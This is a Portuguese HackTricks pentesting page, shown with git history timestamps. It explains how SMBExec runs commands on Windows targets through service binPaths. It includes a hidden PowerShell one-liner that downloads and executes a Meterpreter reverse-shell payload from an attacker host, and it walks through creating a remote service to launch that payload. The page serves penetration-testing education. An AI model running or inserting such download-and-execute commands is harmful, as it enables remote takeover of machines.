hacktricks/windows-hardening/ntlm/smbexec.md

56 lines
4.6 KiB
Markdown
Raw Normal View History

2022-05-08 23:13:03 +00:00
# SmbExec/ScExec
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
## Como funciona
2023-06-06 18:56:34 +00:00
**Smbexec funciona como o Psexec.** Neste exemplo, **em vez** de apontar o "_binpath_" para um executável malicioso dentro da vítima, vamos **apontá-lo** para **cmd.exe ou powershell.exe** e um deles irá baixar e executar o backdoor.
2022-05-08 23:13:03 +00:00
## **SMBExec**
2023-06-06 18:56:34 +00:00
Vamos ver o que acontece quando o smbexec é executado, olhando para ele do lado do atacante e do alvo:
2021-11-30 16:46:07 +00:00
![](../../.gitbook/assets/smbexec\_prompt.png)
2023-06-06 18:56:34 +00:00
Então, sabemos que ele cria um serviço "BTOBTO". Mas esse serviço não está presente na máquina de destino quando fazemos uma `sc query`. Os logs do sistema revelam uma pista do que aconteceu:
2021-11-30 16:46:07 +00:00
![](../../.gitbook/assets/smbexec\_service.png)
2023-06-06 18:56:34 +00:00
O nome do arquivo de serviço contém uma string de comando para executar (%COMSPEC% aponta para o caminho absoluto do cmd.exe). Ele ecoa o comando a ser executado para um arquivo bat, redireciona o stdout e stderr para um arquivo Temp, em seguida, executa o arquivo bat e o exclui. De volta ao Kali, o script Python então puxa o arquivo de saída via SMB e exibe o conteúdo em nosso "pseudo-shell". Para cada comando que digitamos em nosso "shell", um novo serviço é criado e o processo é repetido. É por isso que ele não precisa soltar um binário, ele apenas executa cada comando desejado como um novo serviço. Definitivamente mais furtivo, mas como vimos, um log de eventos é criado para cada comando executado. Ainda é uma maneira muito inteligente de obter um "shell" não interativo!
2023-06-06 18:56:34 +00:00
## SMBExec manual
2023-06-06 18:56:34 +00:00
**Ou executando comandos via serviços**
2023-06-06 18:56:34 +00:00
Como smbexec demonstrou, é possível executar comandos diretamente a partir de binPaths de serviço em vez de precisar de um binário. Este pode ser um truque útil para manter em seu bolso se você precisar apenas executar um comando arbitrário em uma máquina Windows de destino. Como um exemplo rápido, vamos obter um shell Meterpreter usando um serviço remoto _sem_ um binário.
2023-06-06 18:56:34 +00:00
Vamos usar o módulo `web_delivery` do Metasploit e escolher um alvo PowerShell com uma carga útil reversa do Meterpreter. O ouvinte é configurado e ele nos diz o comando a ser executado na máquina de destino:
```
powershell.exe -nop -w hidden -c $k=new-object net.webclient;$k.proxy=[Net.WebRequest]::GetSystemWebProxy();$k.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $k.downloadstring('http://10.9.122.8:8080/AZPLhG9txdFhS9n');
```
2023-06-06 18:56:34 +00:00
A partir do nosso computador de ataque Windows, criamos um serviço remoto ("metpsh") e definimos o binPath para executar cmd.exe com nossa carga útil:
2023-06-06 18:56:34 +00:00
![](../../.gitbook/assets/sc_psh_create.png)
2023-06-06 18:56:34 +00:00
E então iniciamos:
2023-06-06 18:56:34 +00:00
![](../../.gitbook/assets/sc_psh_start.png)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Ele apresenta erro porque nosso serviço não responde, mas se olharmos para nosso ouvinte Metasploit, veremos que a chamada foi feita e a carga útil executada.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
Todas as informações foram extraídas daqui: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)